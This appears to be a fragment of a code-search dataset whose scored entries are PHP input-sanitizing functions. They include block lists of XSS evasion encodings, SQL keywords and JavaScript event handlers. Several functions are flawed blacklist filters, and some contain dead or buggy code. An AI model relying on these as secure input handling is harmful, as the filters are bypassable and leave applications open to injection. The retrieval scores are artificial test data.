ENT_QUOTES, \"UTF-8\");\n\t}", "title": "" }, { "docid": "d3ff2f67098bfe8c29f3d45e4f72fd31", "score": "0.6637634", "text": "function input_filter($data) {\n\t\t$data = trim($data);\n\t\t$data = stripslashes($data);\n\t\t$data = htmlspecialchars($data);\n\t\treturn $data; \n\t}", "title": "" }, { "docid": "9822726ccb2296180c1bcb1d6d645ae9", "score": "0.66321117", "text": "function strip($text)\n {\n \t$text=preg_replace('/\\[(\\/)?(b|u|i|center|code|color(=(\\S*?))?|url(=(\\S*?))?|email(=(\\S*?))?|img|quote)\\]/iem','',$text);\n \treturn $text;\n\t}", "title": "" }, { "docid": "f148d05c8ab920a50a20ed3d322cfbd8", "score": "0.66119814", "text": "public function cleanText(&$text)\n\t{\n\t\treturn OutputFilter::cleanText($text);\n\t}", "title": "" }, { "docid": "2098aa5634e687b3c0403afcd6fa0d9f", "score": "0.65993345", "text": "function clean_input($data){\n $data = strip_tags($data);\n $data = trim($data);\n $data = htmlentities($data);\n $data = htmlspecialchars($data);\n $data = strIpslashes($data);\n\n return $data;\n }", "title": "" }, { "docid": "7f8ad63d1c9af875328a95900460ed90", "score": "0.65943915", "text": "function cleanText ( &$text ) {\n\t\t$text = preg_replace( \"'<script[^>]*>.*?</script>'si\", '', $text );\n\t\t$text = preg_replace( '/<a\\s+.*?href=\"([^\"]+)\"[^>]*>([^<]+)<\\/a>/is', '\\2 (\\1)', $text );\n\t\t$text = preg_replace( '/<!--.+?-->/', '', $text );\n\t\t$text = preg_replace( '/{.+?}/', '', $text );\n\t\t$text = preg_replace( '/&nbsp;/', ' ', $text );\n\t\t$text = preg_replace( '/&amp;/', ' ', $text );\n\t\t$text = preg_replace( '/&quot;/', ' ', $text );\n\t\t$text = strip_tags( $text );\n\t\t$text = htmlspecialchars( $text );\n\n\t\treturn $text;\n\t}", "title": "" }, { "docid": "5f7fe29c63d88d7f9b90f6cd5972011b", "score": "0.6590325", "text": "function cleanInput($input) {\n $search = array(\n '@<script[^>]*?>.*?</script>@si', // Strip out javascript\n '@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n '@<style[^>]*?>.*?</style>@siU', // Strip style tags\n '@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n );\n $output = preg_replace($search, '', $input);\n return $output;\n }", "title": "" }, { "docid": "8ae55bf831e83e38d9820200e9e4638d", "score": "0.65746146", "text": "function cleanInput($input) {\n $search = array(\n '@<script[^>]*?>.*?</script>@si', // Strip out javascript\n '@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n '@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n );\n \n $output = preg_replace($search, '', $input);\n $output = htmlentities($output);\n $output = preg_replace(\"/&#?[a-z0-9]+;/i\",\"\",$output);\n $output = str_replace(array(\"'\", \"\\\"\", \"&quot;\"), \"\", htmlspecialchars($output) );\n return $output;\n}", "title": "" }, { "docid": "593cfe030deda03dc996fa01354ef612", "score": "0.65740323", "text": "function wota_sanitize_text($input)\n{\n return wp_kses_post(force_balance_tags($input));\n}", "title": "" }, { "docid": "dd36365d89d1b45511cad8c69f254b7b", "score": "0.65683985", "text": "function cleanText ( &$text ) {\r\n\t\t$text = preg_replace( \"'<script[^>]*>.*?</script>'si\", '', $text );\r\n\t\t$text = preg_replace( '/<a\\s+.*?href=\"([^\"]+)\"[^>]*>([^<]+)<\\/a>/is', '\\2 (\\1)', $text );\r\n\t\t$text = preg_replace( '/<!--.+?-->/', '', $text );\r\n\t\t$text = preg_replace( '/{.+?}/', '', $text );\r\n\t\t$text = preg_replace( '/&nbsp;/', ' ', $text );\r\n\t\t$text = preg_replace( '/&amp;/', ' ', $text );\r\n\t\t$text = preg_replace( '/&quot;/', ' ', $text );\r\n\t\t$text = strip_tags( $text );\r\n\t\t$text = htmlspecialchars( $text );\r\n\t\treturn $text;\r\n\t}", "title": "" }, { "docid": "e28c5f8d53979eccbd4964926aa06441", "score": "0.6567426", "text": "function sanitizeInput($value) {\n return preg_replace('/[^A-Za-z0-9 ]/', '', $value);\n }", "title": "" }, { "docid": "e60ba9779da7126f6bd7cb15b5e29bec", "score": "0.6550694", "text": "private function _txtClean(&$text)\n\t{\n\t\t// Handle special characters copied from MS Word\n\t\t$text = str_replace('“', '\"', $text);\n\t\t$text = str_replace('”', '\"', $text);\n\t\t$text = str_replace(\"’\", \"'\", $text);\n\t\t$text = str_replace(\"‘\", \"'\", $text);\n\n\t\t$text = preg_replace('/{kl_php}(.*?){\\/kl_php}/s', '', $text);\n\t\t$text = preg_replace('/{.+?}/', '', $text);\n\t\t$text = preg_replace(\"'<style[^>]*>.*?</style>'si\", '', $text);\n\t\t$text = preg_replace(\"'<script[^>]*>.*?</script>'si\", '', $text);\n\t\t$text = preg_replace('/<!--.+?-->/', '', $text);\n\n\t\treturn $text;\n\t}", "title": "" }, { "docid": "5e9949e1c1bb0c82d2536115f1caeda0", "score": "0.6547563", "text": "function cleantext($text)\n{\n\n\t$text = strip_tags($text);\n\t$text = str_replace(\"<\", \"\", $text);\n\t$text = str_replace(\">\", \"\", $text);\n\n#\t$text = htmlspecialchars($text, ENT_NOQUOTES);\n#\t$text = mysql_real_escape_string($text);\n\n\treturn trim($text);\n}", "title": "" }, { "docid": "9a41fe494fcb7565cb8d6e89f948c75f", "score": "0.6540352", "text": "public function _cleanText($text){\r\n\t\t\t$text = str_replace('<p>', ' ', $text);\r\n\t\t\t$text = str_replace('</p>', ' ', $text);\r\n\t\t\t$text = strip_tags($text, '<a><em><strong>');\r\n\t\t\t$text = trim($text);\r\n\t\t\treturn $text;\r\n\t\t}", "title": "" }, { "docid": "635a0c56d93bb5468a896f54d45ab25e", "score": "0.65214", "text": "function debioCleanInput($input)\n{\n\t$search = array(\n\t\t'@<script[^>]*?>.*?</script>@si', // Strip out javascript\n\t\t'@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n\t\t'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n\t\t'@<![\\s\\S]*?--[ \\t\\n\\r]*>@', // Strip multi-line comments\n\t);\n\t$output = preg_replace($search, '', $input);\n\treturn $output;\n}", "title": "" }, { "docid": "75bb98a1653c508f20346bbf0a4b73e8", "score": "0.6515783", "text": "function test_input($data)\n{\n $data = trim($data);\n return preg_replace('/[^A-Za-z0-9æøåÆØÅ\\`\\-\\. ]/', '', $data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n}", "title": "" }, { "docid": "75bb98a1653c508f20346bbf0a4b73e8", "score": "0.6515783", "text": "function test_input($data)\n{\n $data = trim($data);\n return preg_replace('/[^A-Za-z0-9æøåÆØÅ\\`\\-\\. ]/', '', $data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n}", "title": "" }, { "docid": "b2b1bfc66043fdd3829c76075ccb5416", "score": "0.65142", "text": "function input_filter($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "d6075ab429fd8246f1721e5daa29d0d2", "score": "0.6497316", "text": "function cleanInput($input) \n{\n \n\t$search = array(\n\t '@<script[^>]*?>.*?</script>@si', // Strip out javascript\n\t '@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n\t '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n\t '@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n\t);\n\t\n\t$output = preg_replace($search, '', $input);\n\treturn $output;\n}", "title": "" }, { "docid": "e1678d22a71f1e24c98d6c6a697f752b", "score": "0.6478305", "text": "function test_input($input){\n\t\t$input = trim($input);\n\t\t$input = stripcslashes($input);\n\t\t$input = htmlspecialchars($input);\n\t\treturn $input;\n\t}", "title": "" }, { "docid": "1c3760bd0cec193e8605340ecb36f7ae", "score": "0.647826", "text": "function clean_input($data) {\n $data = trim($data); // strips unnecessary characters from beginning/end\n $data = stripslashes($data); // remove backslashes\n $data = htmlspecialchars($data); // replace special characters with HTML entities\n return $data;\n}", "title": "" }, { "docid": "2b7668d3cda40cc4bf2d0ce3453afcdb", "score": "0.6472054", "text": "function removeExtras($input)\n {\n global $connection;\n $input = trim($input);\n $input = stripslashes($input);\n $input = htmlspecialchars($input);\n $input = mysqli_real_escape_string($connection, $input);\n return $input;\n }", "title": "" }, { "docid": "24acfcb060d230f95047224fdab705c8", "score": "0.64667624", "text": "function cleanText($text) {\r\n return preg_replace('/[^A-Za-z0-9]/', \"\", $text);\r\n}", "title": "" }, { "docid": "66c494bed87b2003148e99a6e627f0d2", "score": "0.64492357", "text": "private function _filterText( $var ) {\r\n // Need to call addslashes again as COM_checkHTML strips it out\r\n if ($this->_checkhtml) $var = COM_checkHTML($var);\r\n if ($this->_checkwords) $var = COM_checkWords($var);\r\n $var = COM_killJS($var);\r\n if ($this->_maxlength > 0) {\r\n $var = substr($var, 0, $this->_maxlength);\r\n }\r\n if ($this->_prepfordb) {\r\n $var = addslashes($var);\r\n } elseif ($this->_prepforweb) {\r\n $var = stripslashes($var);\r\n }\r\n return $var;\r\n }", "title": "" }, { "docid": "a279e5aeee7d24914e19bd2295290ef7", "score": "0.64437217", "text": "public function CleanText($texto){\r\n\t\t$txt= trim($texto);\r\n\t\t$txt= htmlspecialchars($txt);\r\n\t\t$txt= self::GetQuitarAcentos($txt);\r\n\t\t//$txt= htmlentities($txt);\r\n\t\treturn $txt;\r\n\t}", "title": "" }, { "docid": "e622e757b7e7a905b118d9713356070e", "score": "0.6443003", "text": "function fuzeStripTag($anInput) {\n return strip_tags(trim($anInput));\n}", "title": "" }, { "docid": "f336d97919688ed8771d3620c5755581", "score": "0.64347214", "text": "function strip_clf ($text = \"\")\n {\n\n if(empty($text)) { return $text; }\n $stripped = ereg_replace(\"\\r\",\"\",$text);\n $stripped = ereg_replace(\"\\n\",\"\",$stripped);\n return $stripped;\n }", "title": "" }, { "docid": "48c712fe3c536d3af19cc673acbb7bcc", "score": "0.64336437", "text": "function clean_input($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "ae0b2f23e405dba749d7f120e33ba88f", "score": "0.64288056", "text": "function cleanInput () {\n $this->description = utf8_decode($this->description);\n // quotes are getting commented by a backslash in submission process; undo this\n $this->description = preg_replace ('/\\\\\\\"/', '\"', $this->description);\n $this->description = preg_replace (\"/\\\\\\'/\", \"'\", $this->description);\n\n }", "title": "" }, { "docid": "963bb8fe6fd31a422dbfce9488b84d43", "score": "0.64275956", "text": "function clean_post_input($data) {\n /* trim whitespace */\n $data = trim($data);\n \n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "ea9e9e95fe47ee1ec08e60fd4d459aa8", "score": "0.64229226", "text": "function sanitizeInput($input)\r\n {\r\n $input = strip_tags($input);\r\n $input = trim($input);\r\n $input = htmlspecialchars($input);\r\n $input = htmlentities($input);\r\n return $input;\r\n }", "title": "" }, { "docid": "cb6a489774bbede09b858883f57cf2f8", "score": "0.64136595", "text": "function sanitize_text($input){\n\t$input = \n\tpreg_replace('/on(load|unload|click|dblclick|mouseover|mouseenter|mouseout|mouseleave|mousemove|mouseup|keydown|pageshow|pagehide|resize|scroll)[^\"]*/i', '', $input);\n\t$input = addslashes( strip_tags($input, ALLOWED_TAGS) );\n\treturn $input;\n}", "title": "" }, { "docid": "1c045b30458742c3181fb9c8a840ea51", "score": "0.6409483", "text": "function remove_junk($str){\n $str = nl2br($str);\n $str = htmlspecialchars(strip_tags($str, ENT_QUOTES));\n return $str;\n }", "title": "" }, { "docid": "7f56757fb8baea69657e08ef7551f596", "score": "0.6408016", "text": "function clean_input($data) \n {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "ca9e973ac51eb402c39f09778a1a6cfa", "score": "0.64052236", "text": "function my_sanitize_text_field( $input ) {\n return wp_kses_post( force_balance_tags( $input ) );\n }", "title": "" }, { "docid": "b1a40e24a659d2227f3e1f4cd5fd826f", "score": "0.6400438", "text": "function clean_input($data){\r\n\t\t$data = trim($data);\r\n\t\t$data = stripslashes($data);\r\n\t\t$data = htmlspecialchars($data);\r\n\t\treturn $data;\r\n\t}", "title": "" }, { "docid": "f304942ae1b629e5b860bd0107267648", "score": "0.6397789", "text": "function sanitizeFormPassword($inputText) {\r\n\t\t$inputText = strip_tags($inputText);\r\n\t\treturn $inputText;\r\n\t}", "title": "" }, { "docid": "abd906e83fe181103364cf9dfdd7d48b", "score": "0.6369024", "text": "public function addStriped($text){\n $text = str_replace(\"'\", \"''\", $text);\n return $text;\n }", "title": "" }, { "docid": "2a06851d3029555aa9778618a6827fa8", "score": "0.6363498", "text": "function clean_input($i){\n \tif(!get_magic_quotes_gpc()) $i = addslashes($i);\n \t$i = rtrim($i);\n \t$look = array_merge(\n array_map('chr', range(0,31)),\n array(\"<\", \">\", \":\", '\"', \"/\", \"\\\\\", \"|\", \"?\", \"*\"));;\n \t\n \t$i = str_replace($look, \"\", $i);\n \treturn $i;\n\t}", "title": "" }, { "docid": "96acad4444d0e4810562df93ce14e1bf", "score": "0.63544893", "text": "function cleanInput($data)\n\t{\n\t\t$data = trim($data);\n\t\t$data = stripslashes($data);\n\t\t$data = htmlspecialchars($data);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "96acad4444d0e4810562df93ce14e1bf", "score": "0.63544893", "text": "function cleanInput($data)\n\t{\n\t\t$data = trim($data);\n\t\t$data = stripslashes($data);\n\t\t$data = htmlspecialchars($data);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "6c4cf30e640e8dc5ac088b02ab197143", "score": "0.63542205", "text": "function pre_test_input($data) {\n\t\t$data = trim($data); //remove blank spaces\n\t\t$data = stripslashes($data); //remove \\'s\n\t\t$data = htmlspecialchars($data); //protect against html\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "2f185746815b71bccae3f44ccb3cc241", "score": "0.6347535", "text": "function anti_injection($data){\n\t\t\t\t\t\t\t$filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\t\t\t\t\t\t\treturn $filter;\n\t\t\t\t\t\t}", "title": "" }, { "docid": "f4867667d9fc1bea475065ec4e798a2a", "score": "0.63457483", "text": "function cleanInput($data) {\n\t\n\t$data = trim($data); // removes spaces, tabs and new lines\n\t$data = stripslashes($data); // removes any back slashes\n\t$data = htmlspecialchars($data); //convert special characters to entity codes\n\t\n\treturn $data;\n\n}", "title": "" }, { "docid": "0604643a93313395a01fa904a0896660", "score": "0.63439745", "text": "function sed_alphaonly($text)\n\t{\n\treturn(preg_replace('/[^a-zA-Z0-9_]/', '', $text));\n\t}", "title": "" }, { "docid": "732adda62f3a35b1b08563bdd7a6b4e4", "score": "0.6340469", "text": "function pmc_stripText($string) \n{ \n return str_replace(\"\\\\\",'',$string);\n}", "title": "" }, { "docid": "6ee3c913a2bc3878781d1325490b62ff", "score": "0.63393253", "text": "function removeOrphan(string $text): string\n{\n return preg_replace('~ ([aiowzu]) ~', ' $1&nbsp;', $text);\n}", "title": "" }, { "docid": "a0f2bbb64ae9c248eecb48f2de94ad2c", "score": "0.6337243", "text": "function normalize($text) {\n\t#strip everything but letters, numbers, and spaces\n\treturn preg_replace('/[^a-z0-9 ]+/i', '', $text);\n}", "title": "" }, { "docid": "1076eabbea05e07e9d9e2fd594dc631c", "score": "0.6334173", "text": "function process_input($data) {\n\t $data = trim($data);\n\t $data = stripslashes($data);\n\t $data = htmlspecialchars($data);\n\t return $data;\n\t}", "title": "" }, { "docid": "5c52c7ece70cb1e66ed1a0d87bf271f7", "score": "0.63225913", "text": "function noScript($text) {\n require_once 'libs/htmlpurifier-4.9.2-standalone/HTMLPurifier.standalone.php';\n $config = HTMLPurifier_Config::createDefault();\n $purifier = new HTMLPurifier($config);\n $clean = $purifier->purify($text);\n return $clean;\n}", "title": "" }, { "docid": "627651449477a9f50fceec7cff304d8b", "score": "0.6320958", "text": "function cleanInput($data) { \r\n return htmlspecialchars(stripslashes(trim($data)));\r\n }", "title": "" }, { "docid": "0bc4125daa40b9712edb2fad49048020", "score": "0.63207704", "text": "function clean_input($data){\r\n\t\t\t$data = trim($data);\r\n\t\t\t$data = stripslashes($data);\r\n\t\t\t$data = htmlspecialchars($data);\r\n\t\t\treturn $data;\r\n\t}", "title": "" }, { "docid": "0bc4125daa40b9712edb2fad49048020", "score": "0.63207704", "text": "function clean_input($data){\r\n\t\t\t$data = trim($data);\r\n\t\t\t$data = stripslashes($data);\r\n\t\t\t$data = htmlspecialchars($data);\r\n\t\t\treturn $data;\r\n\t}", "title": "" }, { "docid": "2d5b901fc1ebf37197c704d4980e9dc2", "score": "0.6317682", "text": "function cleanInput($input) {\n $search = array(\n '@<script[^>]*?>.*?</script>@si', // Strip out javascript\n'@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n'@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n);\n$output = preg_replace($search, '', $input);\nreturn $output;\n}", "title": "" }, { "docid": "1f6c614712a9844e8cd90868aa018155", "score": "0.6316766", "text": "function filter($data) {\n\t$data = trim(htmlentities(strip_tags($data)));\n\tif (get_magic_quotes_gpc())\n\t\t$data = stripslashes($data);\n\treturn $data;\n}", "title": "" }, { "docid": "cc07adaf365b39b5d6b4f73ec329c36c", "score": "0.6316684", "text": "function trim_secure_input($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "8b43aed56141820162ad1483bffd7413", "score": "0.63159776", "text": "function filter_any_data($data){\n\t\t\t$data = trim($data);\n\t\t\t$data = stripslashes($data);\n\t\t\t$data = htmlspecialchars($data);\n\t\t\treturn $data;\n\t\t}", "title": "" }, { "docid": "f7df379696280f287c1b6e9aedcaceda", "score": "0.631333", "text": "function sanitizeFormString($inputText) {\r\n\t\t$inputText = strip_tags($inputText);\r\n\t\t$inputText = str_replace(\" \", \"\", $inputText);\r\n\t\t$inputText = ucfirst(strtolower($inputText));\r\n\t\treturn $inputText;\r\n\t}", "title": "" }, { "docid": "ad6ffd17cbc3f339a90f09046b4e6917", "score": "0.6304671", "text": "public function beforeStrip($content);", "title": "" }, { "docid": "87ac99768f3e0d5530669dbd6a6af977", "score": "0.63042724", "text": "function sanitise_input($data) {\n\t\t\t$data = trim($data);\n\t\t\t$data = stripslashes($data);\n\t\t\t$data = htmlspecialchars($data);\n\t\t\treturn $data;\n\t\t}", "title": "" }, { "docid": "179409e4de966200f180d345998efaf6", "score": "0.6303659", "text": "public static function stripTag($inputText = \"\") {\n $stripped = strip_tags($inputText);\n\n return $stripped;\n }", "title": "" }, { "docid": "d2be2dc3ee154ce95c0fc357034e6a44", "score": "0.62949127", "text": "function airgame_sanitize( $input ) {\n\treturn strip_tags( stripslashes( $input ) );\n}", "title": "" }, { "docid": "0005f1582f1d0a6c4ec062a8605a614c", "score": "0.6293956", "text": "function stripTag($Str_Input) {\n\t\t@settype($Str_Input, 'string');\n\t\t$Str_Input= @strip_tags($Str_Input);\n\t\t$_Ary_TagsList= array('jav&#x0A;ascript:', 'jav&#x0D;ascript:', 'jav&#x09;ascript:', '<!-', '<', '>', '%3C', '&lt', '&lt;', '&LT', '&LT;', '&#60', '&#060', '&#0060', '&#00060', '&#000060', '&#0000060', '&#60;', '&#060;', '&#0060;', '&#00060;', '&#000060;', '&#0000060;', '&#x3c', '&#x03c', '&#x003c', '&#x0003c', '&#x00003c', '&#x000003c', '&#x3c;', '&#x03c;', '&#x003c;', '&#x0003c;', '&#x00003c;', '&#x000003c;', '&#X3c', '&#X03c', '&#X003c', '&#X0003c', '&#X00003c', '&#X000003c', '&#X3c;', '&#X03c;', '&#X003c;', '&#X0003c;', '&#X00003c;', '&#X000003c;', '&#x3C', '&#x03C', '&#x003C', '&#x0003C', '&#x00003C', '&#x000003C', '&#x3C;', '&#x03C;', '&#x003C;', '&#x0003C;', '&#x00003C;', '&#x000003C;', '&#X3C', '&#X03C', '&#X003C', '&#X0003C', '&#X00003C', '&#X000003C', '&#X3C;', '&#X03C;', '&#X003C;', '&#X0003C;', '&#X00003C;', '&#X000003C;', '\\x3c', '\\x3C', '\\u003c', '\\u003C', chr(60), chr(62));\n\t\t$Str_Input= @str_replace($_Ary_TagsList, '', $Str_Input);\n\t\t$Str_Input= @str_replace('\n\n\t\t', '', $Str_Input);\n\t\treturn((string)$Str_Input);\n\t}", "title": "" }, { "docid": "faacb97b896045dae5866d75bac78814", "score": "0.62933385", "text": "function filter( $text ) {\n\t\t$lc = $this->legalSearchChars();\n\t\treturn trim( preg_replace( \"/[^{$lc}]/\", \" \", $text ) );\n\t}", "title": "" }, { "docid": "6038a6246c6c57ad8fea5bf0d0b5d91f", "score": "0.62923807", "text": "function test_input($data){\n\t\t$data = trim($data);\n\t\t$data = stripcslashes($data);\n\t\t$data = htmlspecialchars($data);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "93c31fe7676a3ee31237dc0ca8ee9b49", "score": "0.6288697", "text": "function cleanInput($data) {\n \t$data = trim($data);\n \t$data = stripslashes($data);\n \t$data = htmlspecialchars($data);\n \treturn $data;\n }", "title": "" }, { "docid": "9bfc6326788b6702634afe10de9d4ef3", "score": "0.62872094", "text": "function clean($text)\r\n{\r\n\t$text = str_replace(\" \",\"\",$text);\r\n\t$text = str_replace(\"\\t\",\"\",$text);\r\n\t$text = str_replace(\"\\r\",\"\",$text);\r\n\t$text = str_replace(\"\\n\",\"\",$text);\r\n\treturn $text;\r\n}", "title": "" }, { "docid": "25d85e20a654e400cecce3825630a7c9", "score": "0.6285884", "text": "function sanitiseInput($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "f6ae06392598278af56be95f9cd158b2", "score": "0.6279737", "text": "abstract protected function cleanString();", "title": "" }, { "docid": "4b6de12f0d0c33d04e6d6fde1bb048bb", "score": "0.6267999", "text": "function test_input($data){\r\n\t\t$data=trim ($data); // gets rid of extra spaces befor and after\r\n\t\t$data=stripslashes($data); //gets rid of any slashes\r\n\t\t$data=htmlspecialchars($data); //converts any symbols usch as < and > to special characters\r\n\t\treturn $data;\r\n\t}", "title": "" }, { "docid": "8036aae23ba7d08e8fbe74c044e2c72d", "score": "0.6261158", "text": "function anti_injection($data)\n{\n $filter = stripslashes(strip_tags(htmlspecialchars($data, ENT_QUOTES)));\n return $filter;\n}", "title": "" }, { "docid": "9ad5db16bf339fd036b72cf1d970740d", "score": "0.62530535", "text": "function cleanInput($data) { \n return htmlspecialchars(stripslashes(trim($data)));\n }", "title": "" }, { "docid": "4c0986acb8306b5c4b4cd50b43194c47", "score": "0.62503695", "text": "function test_input($input)\n{\n\t$input = trim($input);\n\t$input = stripcslashes($input);\n\t$input = htmlspecialchars($input);\n\treturn $input;\n}", "title": "" }, { "docid": "e35de5d5da65aa505aa7420866a57209", "score": "0.62489694", "text": "function cleanInput($data){\n return trim($data);\n}", "title": "" }, { "docid": "4ea38b041ba4938794e3972174ec638e", "score": "0.6247066", "text": "function filterCleanInput($input){\n\t$input = str_replace(\"'\",\"\",$input);\n\t$input = str_replace('\"',\"\",$input);\n\t$input = str_replace(\"/\",\"\",$input);\n\t$input = str_replace(\"\\\"\",\"\",$input);\n\t$input = str_replace(\"\\\\\",\"\",$input);\n\t$input = str_replace(\"<\",\"\",$input);\n\t$input = str_replace(\">\",\"\",$input);\n\t$input = str_replace(\"=\",\"\",$input);\n\t$input = str_replace(\"*\",\"\",$input);\n\t$input = str_replace(\":\",\"\",$input);\n\treturn $input;\n}", "title": "" }, { "docid": "d22edd92a38a710c2570e4d899af96d5", "score": "0.62450373", "text": "static function cleanup($text) {\n // Remove @twitter names\n $text = preg_replace(\"/@\\w+/\", \"\", $text);\n\n // Remove ? (maybe at the end of the line?)\n $text = str_replace(\"?\", \"\", $text);\n\n // All lowercased\n $text = strtolower($text);\n\n // No leading or trailing spaces\n $text = trim($text);\n return $text;\n }", "title": "" }, { "docid": "9b2ec31ea2b69148ff24ffa424fdec74", "score": "0.62447006", "text": "function StringInputCleaner($data) {\n\t//remove space bfore and after\n\t$data = trim($data);\n\t//remove slashes\n\t$data = stripslashes($data);\n\t$data = (filter_var($data, FILTER_SANITIZE_STRING));\n\t$data = utf8_encode($data);\n\treturn $data;\n}", "title": "" }, { "docid": "9b2ec31ea2b69148ff24ffa424fdec74", "score": "0.62447006", "text": "function StringInputCleaner($data) {\n\t//remove space bfore and after\n\t$data = trim($data);\n\t//remove slashes\n\t$data = stripslashes($data);\n\t$data = (filter_var($data, FILTER_SANITIZE_STRING));\n\t$data = utf8_encode($data);\n\treturn $data;\n}", "title": "" }, { "docid": "9b2ec31ea2b69148ff24ffa424fdec74", "score": "0.62447006", "text": "function StringInputCleaner($data) {\n\t//remove space bfore and after\n\t$data = trim($data);\n\t//remove slashes\n\t$data = stripslashes($data);\n\t$data = (filter_var($data, FILTER_SANITIZE_STRING));\n\t$data = utf8_encode($data);\n\treturn $data;\n}", "title": "" }, { "docid": "9b2ec31ea2b69148ff24ffa424fdec74", "score": "0.62447006", "text": "function StringInputCleaner($data) {\n\t//remove space bfore and after\n\t$data = trim($data);\n\t//remove slashes\n\t$data = stripslashes($data);\n\t$data = (filter_var($data, FILTER_SANITIZE_STRING));\n\t$data = utf8_encode($data);\n\treturn $data;\n}", "title": "" }, { "docid": "eef94f647491fdb3b9698119db446b57", "score": "0.6244", "text": "function sed_alphaonly($text)\r\n{\r\n\treturn(preg_replace('/[^a-zA-Z0-9\\-_]/', '', $text));\r\n}", "title": "" }, { "docid": "7196e7d4c439966dfa2a7ca4e2793ee5", "score": "0.624057", "text": "function clean_input($data) {\r\n $data = trim($data);\r\n $data = stripslashes($data);\r\n $data = htmlspecialchars($data);\r\n return $data;\r\n}", "title": "" }, { "docid": "df406b100da99b2703dc1ca274a2664d", "score": "0.6237958", "text": "public static function cleanInput($input) {\n $search = array(\n '@<script[^>]*?>.*?</script>@si', // Strip out javascript\n '@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n '@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n );\n\n $output = preg_replace($search, '', $input);\n\n return $output;\n }", "title": "" }, { "docid": "29e32138b31e474c7c16a45da317dc38", "score": "0.6235461", "text": "function test_input($data){\n $data = trim($data);\n $data = stripslashes($data);\n $data = strip_tags($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "1ac1144ed0258b434dcd95953ec8b3c1", "score": "0.6234728", "text": "function test_input($data) {\r\n\t $data = trim($data);\r\n\t $data = stripslashes($data);\r\n\t //$data = htmlspecialchars($data);\r\n\t $data = strip_tags($data, '<a>');\r\n\t return $data;\r\n\t}", "title": "" }, { "docid": "0c6a6d60b4674d5b923439d1d5f686a3", "score": "0.6234726", "text": "function cleanInput($input) {\n\t$search = array(\n\t '@<script[^>]*?>.*?</script>@si', // Strip out javascript\n\t '@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n\t '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n\t '@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n\t);\n\n// check the string for matches above\n\t\t$output = preg_replace($search, '', $input);\n\n// pass the resulting string back to the SANITIZE function\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "bd6c31fc76983b75bde4f585348330b5", "score": "0.6231319", "text": "function clean($var){\r\n\t\t$var=strip_tags($var,'<a><img><b><i><u><p><li><br><ol><em><blockquote><address><object><param><embed><h1><h2><h3><div><span><label><font><table><tr><td><th><thead><tfoot><hr><sub><sup>');\r\n\t\t$var=str_replace('\"','&quot;',$var);\r\n\t\t$var=str_replace(\"'\",'&#039;',$var);\r\n\t\t$badwords= array(\"union \", \"select \", \"show \", \"insert \", \"update \", \"delete \", \"drop \" , \"truncate \", \"create \", \"load_file \", \"exec \", \"# \", \"-- \");\r\n\t\t$var=str_replace($badwords, \"\", $var);\r\n\t\t\r\n\t\t\r\n\t\treturn $var;\r\n\t}", "title": "" }, { "docid": "aac318171f3d1afdbec5b4fc631f1d5f", "score": "0.622991", "text": "function anti_injection($data){\n $filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n return $filter;\n}", "title": "" }, { "docid": "ec44e12098f88ec7519600007893d6b0", "score": "0.62295145", "text": "function clean_input($data) {\n $data = str_replace(\"'\", \"`\", $data);\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "b5f663be357e55d10ca7da5ba1bbd056", "score": "0.6228271", "text": "function filter_form_input($s)\n{\n\t$s = isset($s) ? trim($s) : '';\n\t$result = htmlspecialchars($s, ENT_QUOTES);\n\treturn $result;\n}", "title": "" } ]
11830e68936bbef45c0468960b0c5da9
Set the value of name
[ { "docid": "6a3e935ee890870b1c9c500ca6af91f3", "score": "0.0", "text": "public function setName($name)\n {\n $this->name = $name;\n\n return $this;\n }", "title": "" } ]
